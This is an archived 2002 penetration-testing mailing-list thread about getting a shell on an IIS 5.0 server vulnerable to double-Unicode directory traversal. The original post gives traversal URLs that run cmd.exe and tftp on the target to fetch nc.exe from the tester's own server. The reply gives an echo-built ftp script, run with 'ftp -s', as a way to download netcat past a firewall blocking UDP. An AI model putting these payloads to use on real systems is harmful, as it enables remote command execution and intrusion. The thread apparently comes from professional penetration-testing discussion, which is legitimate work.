From: Jeremy Junginger (jjunginger@interactcommerce.com)
Date: Thu Jul 11 2002 - 13:06:25 EDT
Use ftp with a script if ftp is allowed outbound. Example:
Open x.x.x.x >ftpscript
Echo user >>ftpscript
Echo password >>ftpscript
Echo get nc.exe >>ftpscript
Echo quit >>ftpscript
And then at the prompt, fire up:
Ftp -s:ftpscript
And that should get you what you need, right??
-Jeremy
-----Original Message-----
From: Gaziel, Avishay [mailto:agaziel@kpmg.com]
Sent: Tuesday, July 09, 2002 9:33 AM
To: PEN-TEST@securityfocus.com
Subject: Can't get a shell
Hi All,
Situation:
An IIS5.0 vulnerable to unicode.("double Unicode" i.e. ..%255c.. etc.)
IIS sitting behind a firewall.
Problem:
host/scripts/..%255c.........../winnt/system32/cmd.exe?/tftp+-i+myserver
+get
+nc.exe doesn't work
I keep getting (from my pumpkin tftp server) an error message saying
that there's something wrong with the variables. another strange thing
is that even if I don't get the error message the tftp session will not
start and will timeout, if I deny access I keep getting access requests
from the IIS.(Pumpkin is configured to prompt whenever a download/upload
starts) What have I tried to do? Use
host/scripts/..%255c.........../winnt/system32/tftp.exe+-i+myserver+get+
nc.e
xe instead of the above mentioned...doesn't work as well.
What do I think is wrong?
The FW is blocking all udp traffic out.
What do I need?
1. Suggestions
2.Workarounds
Avishay
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